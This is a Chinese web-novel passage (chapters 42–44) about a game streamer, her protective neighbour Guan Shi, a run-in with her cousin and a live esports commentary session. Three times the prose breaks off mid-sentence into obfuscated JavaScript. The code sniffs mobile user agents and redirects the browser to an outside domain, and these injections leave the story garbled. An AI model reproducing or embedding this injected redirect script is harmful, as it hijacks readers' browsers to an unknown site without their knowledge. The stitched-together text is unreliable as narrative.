她低下头,用筷子扒拉两下碗里的饭,有些欲言又止的模样。 “啊。”关时叹了口气,发现自己还是做不到真的看程舒晚为难,“你说这些太突然了,谁能接茬。” 见关时递过来台阶,程舒晚抬头看他,自然而然顺着下了,“嗯,抱歉阿姨,我只是有些感慨。我想……要是早些年能听到阿姨这番话,可能很多事情都不会发生。” 关时:“……” 他不自觉收紧了手里的筷子。 “好孩子。”姚婉婷怜爱地笑了笑,又往她碗里夹了几块排骨,“没事儿,什么时候都不晚。再说凭借手艺吃饭多好,那些打电竞的小伙儿小姑娘个个厉害得很,店里大厅只要放比赛都会热闹得多,以后说不定能看到你呢。” 程舒晚这会儿是真笑了,“阿姨,电竞选手到我这年纪已经退役了。” “没啥不可能的,有人二十八九岁都在打电竞,还能拿冠军呢。” 程舒晚笑。 电竞。 以前年少不经事的时候曾幻想过这件事,不但二更天……关时支持过,而且确实得到过职业选手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关时还没来得及问,关星玥已经像找到同好一样兴奋起来了:“你也觉得白狸很帅对不对?” 程舒晚咬了块豆腐,“以前没太注意过他的长相,就是觉得他游戏打得很好。” 关星玥:“队长嘛,都是打五年职业的老将啦。” “嗯。白狐以前打的是辅助,三年前俱乐部最难的时候转型控制位扛大旗当队长,”程舒晚如数家珍地说道,“当时争论很多,他用技术和魄力全扛下来了,很厉害。” “哇,”关星玥两眼放光,“白狸以前居然玩辅助?我以为他出道就是控制位。” “他什么位置都玩得好。”程舒晚把排骨放进骨碟里,“转型后第一场控制位就拿了MVP,用的九尾狐,非常厉害。” 关时:“……” 他终于放下了碗筷,饭碗搁在桌面,咯的一声。 程舒晚顺着声音抬头看他。 “用的九尾狐?非常厉害?”关时重复了一遍,扯唇微笑,“你侃侃而谈的,很关注这个选手?” 程舒晚:“……” 哦豁。 哪来的老陈醋啊。 “九尾狐是从游戏开服到现在都很热门的人物,作为职业选手,白狸玩得厉害是基本素养。而作为游戏主播,关注电竞比赛和选手也是我的基本素养。”程舒晚顿了顿,装作什么都没察觉的样子,“关老板,您的投资对象有这样的觉悟和业务能力,您应该高兴才对。” 关星玥:“……噗,咳。” 姚婉婷:“舒晚没说错咯……” 关星玥:“咳,妈,别管。” 关时盯着程舒晚半晌,目光下移到她包扎的手上,指了指,“关老板希望你照顾好你金贵的爪子,这几天不许打游戏,不许直播。” 程舒晚微怔,抗议:“不行,直播停了数据会掉。” 关时:“投资人有这样的宽容和人文关怀,你应该高兴才对。” 程舒晚:“……” 42. 软肋 关时还真是一个说到做到的主。 他帮程舒晚换了两天的药,以手伤为由强行停掉了她的直播活动,还妄图把她视频剪辑的工作一起停了。程舒晚一开始向他保证自己剪辑视频只用右手,争执未果,只能寒着脸拿出当初二人签署的协议,指着当中“甲方不可对乙方的工作内容过分干预”的具体条例捍卫自己工作的权益。 关时摆着一副“你居然真的拿这几张纸来要挟我”的震惊和受伤表情,无奈做出了让步,却隔三差五跑到15号包间里来监督她是否真的只是在用右手剪视频,而不是在瞒着他打游戏。 真是服了。 程舒晚对自己受伤这件事并不是很上心,她从小到大挨的打不算少,不管是划条口子还是烫下热水,自认为都没有到必须精心呵护的地步,还会觉得有些矫情。 但关时那些“矫情”的关怀,只要不是太过分的,她都默默接受听话了。 虽然略有怨言,但她意外地发觉自己并不讨厌被关时管着的感觉。 甚至开始有点喜欢。 除了关时,姚婉婷和关星玥也在清明假期期间找了一堆借口变着花儿把程舒晚拐骗到501,最后以“来都来了吃完饭再走吧”结束。是她们自己想这么做还是关时的授权,程舒晚不得而知,只知道自己被这一家子无微不至照顾得不知道北了。 这是她第一次感受到被偏爱是什么滋味。 假期结束,该返工的返工,该返校的返校,熬夜剪一晚上视频的程舒晚睡到日上三竿,准备搞点东西吃。 但打开冰箱之后,面对空空如也的屉子,程舒晚愣神片刻还是点开了外卖软件。 蹭了三天的饭,忘记买自家的菜了。 她这两个月已经把周边的外卖吃得七七八八,刷了半天觉得每家店都差不多,还不如关时他们家那一口饱含锅气的家常菜。 这才几天,她的胃口居然被养刁了。 吃什么好呢……正叹气着,门铃突然响起来。 难道是说曹操曹操到? 程舒晚穿着拖鞋小跑穿过客厅,在靠近玄关时放轻脚步,偷摸儿地从猫眼往外看,不出所料,正是关时。 他穿着深色的运动外套,双手揣在衣兜里,相当酷的模样。但下一秒,仿佛知道程舒晚躲在门后偷瞧似的,他朝猫眼扬起一个灿烂的露齿笑。 帅得犯规。 冷静……花枝招展的孔雀罢了。程舒晚拍了两下脸稳住古井无波的表情,这才拉开门,“怎么了?” 关时大概是刚在健身房洗完澡回来,垂下的短发发梢还带有一点点湿意,散着好闻的香味,程舒晚没闻出来是什么牌子的洗发水。 “吃饭了吗?”关时问。 “没有,准备去买菜。”程舒晚无辜地眨着眼睛看他。 关时看破不说破地笑了,“我妈中午炒了黄牛肉,来吃吗?” “吃。”程舒晚一秒都没有犹豫。 “行。”关时顿了顿,脸色微微凉下来,“不过吃饭之前,有件事要跟你说一声。” “嗯?”程舒晚有不好的预感。 关时:“你表弟在楼下。” 程舒晚的表情肉眼可见地僵住了。 “你……”她一时间不知道该从哪说起,找了几次话头,“回来时在楼下看见他了?” “嗯,”关时说,“他认出我了,把我拦下来了。” 程舒晚脑子里发出尖锐爆鸣。 每次都是,过了几天舒坦日子就会听到坏消息,跟他妈的刷怪笼似的。 而且每次都正正好被关时碰上。 就像下载好心心念念的新游戏,打开来最先看到的是弹窗广告那样膈应,膈应之余,紧接着涌上心头的是尴尬和羞耻。 她现在杀了宁松明的心都有。 “他说你拉黑他,他联系不上,让你下去一下,你父母有东西给你。我看了,你父母不在,只有他一个人。”关时垂眸看着程舒晚紧抿的嘴唇,声音放轻,“本来我不想让他烦你,但毕竟不能帮你做这个主。” “如果你去,我陪你,如果不想去,我帮你解决。” 程舒晚浅浅叹了口气。 只有在这种时候她最希望关时不要管她的事。 她已经看够前车之鉴了。 “你先回去吧,”程舒晚不想让他担心,故作轻松说道,“我下去一趟再去你家。” 关时:“我跟你一起下去。” “不用。”程舒晚笑了下,见他还想说什么,干脆抬手在他脑袋上揉了揉,“听话哈。” “……”关时成功被这招沉默,不可置信地盯着她。 程舒晚自从知道关时的秘密之后,逗弄人的事干起来越来越顺手,笑眯眯地收回手,“我先下去。” 她捎上钥匙进了电梯,没给关时同乘电梯的机会,生怕他执意跟着到一楼,“等我开饭。” 关时点头。 电梯门关上,空无一人的狭小空间里,程舒晚脸上的笑意瞬间垮下,冷得像冰。 关时依然站在802门口盯着电梯门,他慢慢抬起手,在自己头顶轻轻摸了摸。 还残留着程舒晚修长手掌的触感。 他垂下眼,眸中染上一点晦暗不明的情愫。 程舒晚推开单元门的时候,门外那条校道上停着眼熟的黑色轿车,宁松明那人模狗样的家伙这次没坐在车里,而是靠在车门上打电话。 她走近。 “……就按照上次的方案,给我个时间,客户已经在催了。”宁松明斜了程舒晚一眼,自顾自继续说道,“困难当然有困难,不用跟我说,你执行我执行?自己想办法解决,跟我说有用么?我不管你们是加班还是通宵……” 程舒晚没有一点耐心,“喂。” 装他爹个腿的,她在前公司做需求敲代码的时候最讨厌这种对接人。 “别跟我扯有的没的,我就认结果。”宁松明终于结束通话,这才不紧不慢转过脸,轻蔑地睨她,“说正事儿呢,不能等一下?” “没有用的话和没有用的人一样没让人等待的价值。”程舒晚懒得应付他这副嘴脸,“有屁放。” 自从第一回见吃了个亏之后宁松明似乎吸取了教训,不至于一两句话就跳脚,冷笑了声,抬眸往楼上看了一眼,“那位‘邻居’还真能叫动你。” 程舒晚眼神一凝,意识到刚刚忽略了一件事情——宁松明根本不需要关时传话。 就算通讯方式被她拉黑,宁松明还有很多方式能联系到她,至少按个802的门铃她绝对会听,怎么都比让偶遇的邻居传话要方便。 他是故意拦下关时的。 “我说了。”程舒晚的声音更冷几分,“有屁放。” 宁松明似乎从程舒晚的表现上证实了什么,耸肩一笑,拉开后车门,“大姨和姨夫托我给你带的东西。怕你生气,他们特地没来。” 后车座上有一个很大的塑料袋,满满当当装着各种各样的吃食,程舒晚对这些吃食的包装很熟悉,都是曾经她喜欢吃的东西。 蒋慧玲,记得她曾经喜欢吃什么。 除此之外,塑料袋旁边还放着一个很大的包装盒,是一台笔记本电脑。 程舒晚蜷了下手掌,悄然握紧。 她不知道这是父母的赔礼还是真的开窍,但不管是哪个,放在他俩身上都是天方夜谭,以至于她有点想笑。 见程舒晚站在车门跟前没动,宁松明“诶”一声,“拿啊,磨叽什么,我还要回公司午休。” “电脑,”程舒晚指了一下,“你买的吧。” “哦。”宁松明双手抱胸,“大姨托我买了赔你的,姨夫之前不是弄坏你旧电脑了?” “她连这个都跟你说。”程舒晚感到讽刺,“她给你买电脑的钱了?” “没有啊。”宁松明看着她,神色颇为轻蔑,带着点嘲弄,“没几个钱,我又不缺。只是如果能听你说声谢谢,再对上次的无礼道个歉就好了,或许还能大发慈悲,帮你劝劝大姨别那么偏执。” 程舒晚:“小姨最近怎么样?” 宁松明微顿,不知道她突然提自己妈干什么,眼神警惕而阴冷地盯着她,“想说什么?” 程舒晚扯了下嘴角,“我还以为小姨死了呢,不然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他一脚油门,黑色的轿车离开了小道。 程舒晚站在原地,猛然弯下腰吸一大口气,尚寒的清明时节,脊背却已经沁出一层薄汗。 无耻。 无耻到她有点恶心想吐。 她弯着腰酝酿半天也没什么动静,便顺着慢慢蹲在地上,茫然地盯着地板,刺啦啦地笑出声来。 蒋慧玲,还真是什么都会跟宁松明说啊。 的确,宁松明比她和兄长更像是蒋慧玲的孩子,足够贪婪,足够狭隘,也足够不择手段。 程舒晚有那么一个瞬间挺羡慕这个表弟的,有一个提供经济和地位的总裁父亲,一个把他捧为掌中明珠的母亲,还有一个投其所好,满足其高傲自尊心的大姨。 哪怕他卑劣、一无是处,也不会担忧自己何去何从。 程舒晚从地上站起来往回走,刚转过身,不曾想身后居然走来个人,面前一黑差点磕对方胸口上,被对方伸手捞住。 “回头不看身后,”他说,“打游戏的时候不是动态视力一绝么?” 声音里带着熟悉的调笑,程舒晚抬头,撞进关时那双灿如阳光的浅色眼眸。 她心里那点寒凉在这一刻停止了蔓延,随后像石头下的虫豸一样四散而退。 “你在这儿干什么。”她问。 “扔垃圾。”关时说。 “扔……”程舒晚无语了,“你现在空着手知道吗?” 关时笑了好一会儿,拿出门禁卡开门,“等你开饭啊。人走了你都不回,在那蹲半天蘑菇,我开门出来你都没听见,还以为你身体不舒服。” “没有。”关时什么都没说,但是程舒晚能猜到他出现在这儿的理由,默了片刻,“你又是从一开始就在偷听吧。” “什么叫又是,”关时反驳,“上次真是扔垃圾,不小心听见的。” “这次呢?” “这次是故意偷听的。” “……”程舒晚无言以对,但忍不住忐忑起来,“你听见我们说什么了?” 43. 逗弄 “没有,你们这回距离门太远了。”关时很坦然,只是抬手捏了捏她的手臂,“但是我看见他拉你了。疼吗?” 他捏得很轻,像是安抚。 程舒晚摇头。 “抱歉啊。”关时轻声说,“我刚刚不该让你一个人去的。” “不。”程舒晚继续摇头。 她才不能让关时出现在宁松明的视野之内,那个外表人模狗样实际丧心病狂的癫公,鬼知道他会做什么事出来。 关时那么耀眼的人,不能因为这些人和事情染上脏污。 她得做这道屏障。 “你以后如果还看见他,别管他。”程舒晚走进电梯按下五楼的按钮,“还有,我想拜托你个事儿。” “嗯?拜托我?”关时侧目,用一种“难得你终于开窍了”的表情洗耳恭听,“什么事?” “你以后健身能不能带上我?”程舒晚问,“当然,费用我自理。” 这个要求确实出乎关时的意料,他“啊”了声,“发现自己身板弱了?” “会不会说话。” 关时笑了,“我说真的,你能意识到身体健康重要,我很欣慰。” 程舒晚无言,只能心里腹诽:看来自己弱不禁风的形象已经深入人心了。 她从小到大体能和体格子都不太行,要么坐在书桌前学习,要么坐在工位上办公,要么坐在键盘前打游戏,再加上前三年无休止的加班、压力和混乱的饮食作息,她这个死宅身体还没出问题就已经是烧高香了。 本来她不太当回事,但是当刚才宁松明拽她的时候,她脑子里有一连套挣脱反制的动作,可惜受限这具孱弱的躯壳,连第一步都没完成。 要保护自己,保护其他人,首先还是要有一具健康的身体。 再然后要追求的,就是往宁松明脸上来一拳。 “我以后要练拳击。”程舒晚说。 “明天带你去找个教练。”关时笑,“今天别晚睡。” “嗯。”程舒晚点头,“那我今晚下播回去早点睡。” “今晚直播?”关时低头看她的手,今天已经不用包扎了,但肉眼可见还是有点红肿,“还打游戏?” 他的声音有点警告的意味。 “不打,老板。”程舒晚叹气,这男人又开始了,“跟粉丝们一起看比赛,不废手。” 叮,电梯到五楼打开门来,程舒晚走出去,没注意到身后青年的沉默。她正要按501的门铃,关时一步过来,伸手握住她的手腕往下压。 “比赛?”关时压低声音,目光从上往下倾泻下来,一寸一寸审视着,语气装作漫不经心,“谁的比赛?” 程舒晚对上他微微眯起的眼睛,恍然大悟。 您猜怎么着。 醋坛子重出江湖啦。 “东贺跟狐的比赛。”她也装无辜,关时笼罩她手腕的手掌不断散发暖意,都有些发烫了,跟他的目光一样,“今天8号,只有他们一场。” “哦。”关时没有放手的意思,盯着她,“看你喜欢的九尾狐选手?” “看啊。”程舒晚眼睁睁看着他的嘴唇抿成一条直线,心里的顽劣又渐渐探出脑袋,张牙舞爪想做点什么。 于是她微微踮起脚尖,越过关时的肩膀,脖颈,凑近他的耳朵,“你吃醋啦?” “……” “你拿什么来吃醋呀,”程舒晚微微侧过脸,抬眸望着他的眼睛,气若游丝,“关老板?” 关时猛然松开程舒晚的手,往后退了三步,耳朵尖肉眼可见地泛红起来。 平日骚话一句接一句,但真的撩两下,反应居然纯情成这样。 “你耳朵好红。”程舒晚一点不留情面地戳穿他的窘迫。 关时垂眸掏钥匙过去开门,声音嗡嗡:“楼下吹风吹的。” “真的?”程舒晚从后面凑过脸去,装作想要一探究竟的样子,被关时眼疾手快地架开。 “程舒晚。”关时连名带姓地警告她。 程舒晚睁着澄澈而无辜的眼眸望着关时。 “你……”关时动了动嘴唇,最终抬手揉着鼻梁,有点崩溃,“能不能别总逗我了。” 那张对外冷眼无情的精致脸蛋,总在他面前露出这样那样或顽劣或纯真的坦率,关时不知道程舒晚是否对其他人也这样过,但她的逗弄和看似无辜实则狡黠的笑,总会让他产生一种错觉,认为自己是特别的那个。 可每每这种想法出现,他就不可避免地,想起曾经的那些对话。 那个好友是我白月光。 你还喜欢他?你这个网友? 喜欢。 你对我的边界感,是给二更天留的? 你可以这么理解。 一想到这些,他心里隐隐的悸动又全都散去,只剩下一层酸不溜秋的不知名为何物的东西。 他真的快拎不清自己的位置了。 “生气了?”程舒晚微愣,怕过了火弄巧成拙,于是退开几步,“对不起。” “我没生气。”关时想解释自己不是生气,但开了几次口都觉得解释不清,“……反正没生气。” 程舒晚:“哦。” 关时拧钥匙打开家门。 程舒晚:“但你没否认吃醋对不对?” 关时:“……” 他妈的这妮子就是不知收敛! 逗完这最后一句,程舒晚低头含笑逃一样进门换鞋,直奔厨房而去,“阿姨中午好,你坐吧,我来盛汤。” 关时盯着程舒晚的背影,咬着舌尖。 吃醋? 放屁。 四处留情的女人,要不是你是我搭子,我早不伺候你了。 ……要不是你不是舒恒的妹妹,我哪容忍你那么久。 ……要不是你长得好看。 …… 才没吃醋! 程舒晚发布了直播预告,待到晚上七点准时到木吉网咖开播。她打开了麦克风和摄像头,依然对着键盘的区域,今天放着的是自己的晚饭,“晚上好。” “晚上好小鬼。” “开播啦开播啦,好久不见!” “连主播都在放清明假,是谁在加班我不说。” “今天一起看CPL(封神图录职业联赛)吗!” “小鬼姐还没吃饭?吃的啥?” 程舒晚点开《封神图录》的官方赛事直播间,见弹幕问,便把自己的饭盒往摄像头的方向凑了一下,“下午剪视频太忙了,朋友做了晚饭送过来的。红烧肉和土豆丝。” 关时就跟个爹似的,时刻紧盯她三餐有没有按时吃,就算她说要开播了也还是执意从家里打包了一份带给她,还强调是他自己炒的菜,敢浪费就死定了。 程舒晚当然不会浪费。 你说(嚼嚼嚼)这人做饭(嚼嚼嚼)怎么就这么(嚼嚼嚼)好吃呢? “什么神仙朋友还做饭送来啊?真的是朋友吗?” “不,看小鬼姐这炫耀的劲头,怎么不能说是男朋友呢?” “什么?那我男神哥脸面往哪搁?” “大胆一点,说不定做饭的就是男神哥。” “话说男神哥不一起看比赛吗?” “咳,”程舒晚一想到关时大概率就在直播间潜水观望,连忙出声打断观众们的福尔摩斯行为,“不着急的,他周五周六会上线。” 前几天暂停直播的时候程舒晚还是登游戏给二更天发了消息说明情况,虽然二更天背后就是关时,但做戏做全套,她不想在什么地方露出马脚,反让关时抓住。 他们突进打野玩家,最擅长的就是隐藏,伪装和等待。 比赛就快开始了,程舒晚咬着筷子调整官方比赛直播间的音量,把话题重新转移到赛事和战队上来,“东贺跟狐队之前打过一次,今天是东贺队主场。上次狐队主场被打了个4-1,看今天能不能杀回去吧。” “干爆东贺!狐队必胜!” “上次狐队在背水一战的时候拿了新练的九尾狐夜行灯体系,被杀穿了,这次稳点打就好咯。” “东贺也不弱好吗?谁还不是季后赛常客了。” 弹幕上隐隐有掐起来的趋势,却有鬼精的观众明白这里是谁的场地,狗腿地打探起程舒晚的立场:“小鬼姐更看好谁?” 程舒晚自然而然地接过这个烫手山芋,扒了口饭:“东贺的兵线运营稳,狐的团战凶,强强对决,我说不好更看好谁。” 观众:“端水,非常端水。” “鸡贼,相当鸡贼。” 程舒晚笑而不语,只一味扒饭看戏。 跟观众聊着聊着比赛也马上开始,双方首发阵容上场入座,摄像机镜头在双方选手身上一一扫过去。电竞选手不靠脸吃饭,大家都是普通人长相,但扫到狐队中间时,一张清秀俊俏的脸瞬间吸引了所有人的目光,镜头都为之停留好几秒钟。 白狸看起来跟微博发的照片里相差不大,只是为了上镜专门做了造型,看上去正式几分。镜头里的他神情严肃地和队友说着什么,说完后拍拍队友的肩膀,鼓舞士气地笑了,露出两个秀气的梨涡。 “芥末帅?” “好帅啊白狸我靠!” “狸宝!妈妈爱!” “感觉白狸像是那种闲得没事干来打游戏玩玩,结果因为太牛逼混成明星选手的公子哥……” 白狸作为电竞圈少有的帅哥,自然而然成为观众讨论的话题,聊起来不带停歇:“他真是公子哥,直播的时候说过自己家是艺术行业的。” “天哪,有钱有颜有事业,不知道有没有对象!” “女粉真多……啧啧,互联网没有记忆。” 程舒晚看到这,夹菜的手微微停顿。 有观众不满:“你在酸什么?” “实话实说而已,电竞圈几个干净的,受不了别看。” “你说白狸有什么瓜?” “知三当三咯,自愿被某个远古女主播脚踏两条船。”这观众继续说。 此刻有其他人反应过来,“你说早早不起早啊?别乱喷了,那事根本就没实锤吧?” “没实锤那女主播还退网?这不就是心虚?再说她黑料早就满天飞了,你们的白狸哥哥还跟这种女的一块儿,不是傻逼是什么?” 眼见戾气越来越重,程舒晚把筷子放下,语气平静地接过了话茬,“你说的‘某女主播脚踏两条船,一个是电竞选手’这件事,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364916|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早是从小月幽幽直播间传出来的。她没有指明‘电竞选手’是哪位,你怎么笃定是白狸?” 那观众哑然片刻,“都这么说啊,大家都知道。” “据我所知没有人证实过。看来你知道什么我不知道的消息啊,说来听听?” 或许是程舒晚的语气压迫感十足,那观众嚣张的气焰收敛几分,还是嘴硬地叫道:“那你是说小月幽幽在撒谎吗?这么久的事情了,谁还去求证啊。” “你啊。”程舒晚真诚道,“你自己说互联网没有记忆的,真要求证你又不高兴。” 这观众没再说话,只有弹幕刷满了“哈哈哈”和“这就破防了”的嘲讽。 “一天天的,总有些不干净的苍蝇来直播间瞎叫。”程舒晚嘀咕,“美女主播难做哦。” 观众很有梗地接茬:“我不信你是美女,除非看看脸。” “借这个机会我也说一声啊。”程舒晚把赛事直播静音,对直播间的观众认真说道,“大家平时开开玩笑就算了,但是如果上升到人身攻击,以及大肆宣扬未经证实的言论和八卦,我会禁言,踢出去。” “我本人,非常,讨厌,谣言。” “支持小鬼姐。” “正道的光!” “确认过眼神,是维护狸宝的美丽主播!” 短暂的插曲结束,程舒晚语气缓和,重新点评起比赛的情况,“狐队的首发不常规,辅助位是替补。” 观众跟着分析:“难道要拿新体系?” “上次输成那样,不会还拿九尾狐夜行灯那个组合吧?” 程舒晚的目光定在屏幕里白狸的表情上,片刻后说:“是。” “啊?鬼姐你好笃定啊。” “难道要一雪前耻?” “我觉得第一局还是会求稳吧?” 程舒晚扒完饭盒里最后一口菜,“打赌吗?只要不被ban(禁用),白狸一定拿九尾狐和夜行灯。” “不行主播,咱赌就赌点真材实料的。” 程舒晚笑了一下,“好啊。如果非ban没选九尾狐夜行灯,今晚抽十个人送典藏皮肤。” “???” “我草,来真的?” “如果你们输了就,”她顿了顿,“……看着给吧,不给也行。” “小鬼,你真的,我哭死。” 程舒晚把饭盒盖上,“开始BP了。” 双方进入BP环节(人物选择与禁用)。 第一轮双方分别禁用两个人物,东贺队没有禁用九尾狐和夜行灯,经过上次一役,显然不认为这个组合会是威胁。 禁用结束,开始选择,狐队优先。 九尾狐,确定。 夜行灯,确定。 比赛现场的惊呼声顺着赛事直播传到程舒晚的直播间里,弹幕安静一瞬,随后被问号刷屏。 “小鬼姐!!怎么猜出来的!” “这是对狐狸队的了解吗?” “鬼姐不会是什么狐队的工作人员吧!” 哈哈,没有。 她只是抽空把东贺和狐的上一把对局重新看了一遍,发现白狸选九尾狐那一场最大的问题在辅助。 体系是好体系,但辅助或许是年轻气盛骄傲自满,动作太多,没有跟上白狐的操作。 而这一把替换的狐队的辅助是个二十四岁的老队员,在联盟各队兜兜转转,最后落户狐队,跟白狸搭档了三年。他的反应和手速都已经跟不上联盟水准,纯粹靠经验和意识,大概也支撑不了他走完这个赛年。 给新来的毛头小子打打样,大概是这位老队员最后能做的事了。 “你们小鬼姐也是有点自己的本事在身上的。”程舒晚拆了颗薄荷糖,把糖纸扔进废纸篓,“来给主播一点奖赏和掌声。” -【邪恶大猫咪】赠送礼物【荧光棒】×5 -【雪野】赠送礼物【游戏币】×10 -【馒头大王】赠送礼物【粉丝牌】×10 …… 观众送的礼物之多超出程舒晚的意料,平时打游戏的时候都没这么热情……她正想出声让他们悠着点,直播间突然被一阵烟花特效铺满,粉粉嫩嫩的,把画面都遮了一半。 -【点点天时】赠送礼物【浪漫烟花】×1 程舒晚微愣,居然没在第一时间记起来这个礼物的价格,看了眼后台,是价值两千块钱的打赏。 程舒晚:“……” 随着礼物送出,这个“点点天时”窜上礼物榜单第一,引起一片弹幕围观。 “卧槽,哪来的富哥!” “这是我第一次看这个礼物的特效……” “小鬼姐出息了,也是有榜一大哥了。” “感谢富哥请大家看烟花!” 按理说程舒晚作为主播收到这么大一笔打赏是该念下感谢词,但她望着“点点天时”这个ID几秒,越看越不对劲。 这个榜一大哥的头像是个似曾相识的桔子。 “感谢点点天时老板的礼物,祝愿老板把把上分。”程舒晚敬职敬责地把感谢词念完,一边跟观众继续互动着,一边把手机放到桌下,点开关时的微信。 “?”她发了个问号。 44. 贬低 “嗯?”关时秒回。 这家伙果然守着手机,程舒晚就知道是他在搞鬼,单手飞快地打字:“装什么傻,刷礼物干什么?” “哦。”关时也没藏着掖着,“愿赌服输啊。” 这副理所当然的样子,就好像只是随手送了个钥匙扣一样,程舒晚气笑了,又扣了个问号过去。 关时不愧是游戏搭子,精准地捕捉到问号所表达的“你是不是有病”的意思,“我钱多没地方花,就给咱家主播捧捧场了。” 多么霸总的发言,程舒晚眼前已经浮现关老板满面坦然微笑一掷千金的模样了。 又装又狗。 不能让他这么得意……程舒晚关掉直播间的麦克风,咳嗽两声捏了捏嗓子,凑近手机按下语音键。 “我说你,”她提高了声调,平日冷淡的嗓音居然捏得又细又软,上扬的语气中带着调戏,“想包养我就直说咯,我又不会不同意,对吧,关老板?” 楼下木吉网咖前台,裴哥嗑着瓜子追肥皂剧,眉头直皱,正想扭头跟关时吐槽,刚张开嘴,那瘫在转椅里玩手机的小子突然一把将耳机拽掉,“我草”一声从椅子上跳起来,动作之突然之流畅,把裴哥震在原地,嘴都忘了闭起来。 “咋,耳机咬你了?”裴哥问。 关时攥着耳机和手机愣了半晌才回神似的转过头来,“啊?” “嘿,还真是被咬了,都咬聋了。”裴哥乐呵呵地打趣,把头伸过去,“你在看啥?” “没。”关时把手机揣进兜里,推着他的脸摆回播放肥皂剧的屏幕跟前,“看你的,我去休息室。” 裴哥赶苍蝇地扫开他的手,“怪神秘哈你小子。” 休息室在大厅靠里的位置,关时一路跟熟客打着招呼进去,关上门,靠着墙壁深深吸一口气。 他猛然蹲下,把脸埋进臂弯,隔着袖子都能感受到自己脸上的热意。 想包养我就直说咯。 关,老,板。 比平日甜软的嗓音带着微微上挑的顽劣,羽毛般轻扫过心尖,带起一连串涟漪般难以忍耐的痒,关时使出浑身解数才压住自己再点开语音听一遍的念头,在地上当了半分钟的蛄蛹者,才站起来给自己倒杯水压压惊。 休息室里面有男女分开的休息房间,公共区域摆置沙发和茶几。现在是工作时间,也没有人在摸鱼睡觉,否则关老板一世英名都得毁在这儿。 他走到沙发边坐下,低头看手机愣神片刻,退出了和程舒晚的聊天界面,点进她的直播间。比赛已经开始了,摄像头的画面里只露出她一双手,手机放在一边,并没有守着他的消息,正在和观众互动聊比赛。 刚刚那句话就好像是随口的撩拨,一触即收让人摸也不到。 关时听见自己发出一声浅浅的叹息。 早在两三年前,他就在程舒恒口中听说起程舒晚这个姑娘。 认真,反叛,一往无前。 第一次亲眼见到这姑娘是在程舒恒的葬礼,按理说亲人离世应该是她最脆弱的时候,可程舒晚却盯着他的眼睛,声音很轻,话很重。 她说,我不想输。 再见之后他才知道,自己没什么价值的生命旅途里偶有几次的惊鸿,都来自这个像是暴风眼一样的姑娘。 风眼寂静,却起狂风。 他心甘情愿被吸引,心甘情愿帮她扫除障碍。 本该如此的。 但是刚刚,程舒晚在诋毁面前没有去辩解“阿早脚踏两条船”的消息是谣言,而是选择率先维护了那个叫白狸的选手的时候,他能感受到心里涌出了……不爽。 所以当程舒晚观众打赌的时候,他不服气地在心里咬牙切齿放上了筹码,可依然是满盘皆输。 或许她跟白狸四年前真的有关系,又或许只是直觉和推理得出那个赌约,但那一刻,关时发现自己好像真的恐惧了。 程舒晚的目光永远望着更远的地方——曾经让他下定决心的,此刻却成为他妒忌抽芽的种子。 到底是从什么时候开始的关时已经不知道了,他只知道当自己意识到的时候,直播间付款成功的界面已经跳出来,他收到了程舒晚发来的问号。 他越界了。 本以为说两句玩笑话就能把这件事翻过去,可更让他感到恐慌的是,程舒晚回应了他的玩笑,准许了他的越界。 这已经不是第一次了。 程舒晚,到底是什么意思? 如果只是逗他,不把他当一回事,他虽然会不爽,但依然依然可以装聋作哑当做什么都没发生,可如果她是说真的呢? 想到这儿,他脑子里立刻弹出来—— 不行。 呵,真是矛盾。 明明是自己做的选择,却开始嫉妒对方眼里只有高处没有他,而当对方真的把目光投射到他身上,又开始恐惧自己耽误对方的前程。 关时深深吸一口气,仰倒在沙发靠背上,闭上眼。 关时,记住你的位置。 不可以让自己的贪念,成为她的束缚和牢笼。 小鬼叉烧的直播间,程舒晚看了眼手机,关时没有回复,但礼物榜单上那个“点点天时”的桔子头像依然亮着,他还挂着直播。 都看着还不回消息,害羞了? 不会吧,那可是关时……但也不好说,毕竟中午随便说一句就脸红成那样,意外地脸皮薄。 啧,之前不是挺死皮赖脸的嘛,好容易她想通准备入戏了,那家伙怎么反而不接茬了。 程舒晚收敛思绪回到比赛来,狐队的体系在两位多年搭档的配合下运转得风生水起,前期就以神挡杀神的姿态拿下大优势,解说都激动地跟着吼。 东贺被这个与上次截然不同水准的体系打了措手不及,懵逼到中后期才找回自己的节奏,可惜难以在短时间追平经济差距,不到半小时就结束了第一局的战斗。 “封神!” 狐队率先拿下一分。 “赢了!” “没想到九灯体系完全发挥出来居然这么厉害。” “还好结束得早,不然东贺赶上来鹿死谁手还两说。” 程舒晚坐久了站起来拉伸腰,“是狐队主动加快了节奏,再拖下去辅助要吃不消的。” “白狸指挥很到位呀。” “白狸很厉害。”程舒晚不吝啬自己对这位帅哥队长的夸赞,“全图支援,给辅助兜底,自己操作还0失误,完美发挥。” 程舒晚也曾经打过接近职业赛的对局,当所有人实力在一个水平上时,任何一个操作和决策都有可能成为对局逆转的关键,再加上比赛登台的压力、多线程指挥操作的庞大工作量,她的确发自真心佩服白狸。 “小鬼姐好欣赏咱狸子哦。” “白狸本来就很强嘛,不如问主播欣赏不欣赏白狸那张脸?(坏笑)” “什么?谁要拱火?此处艾特二更天!” 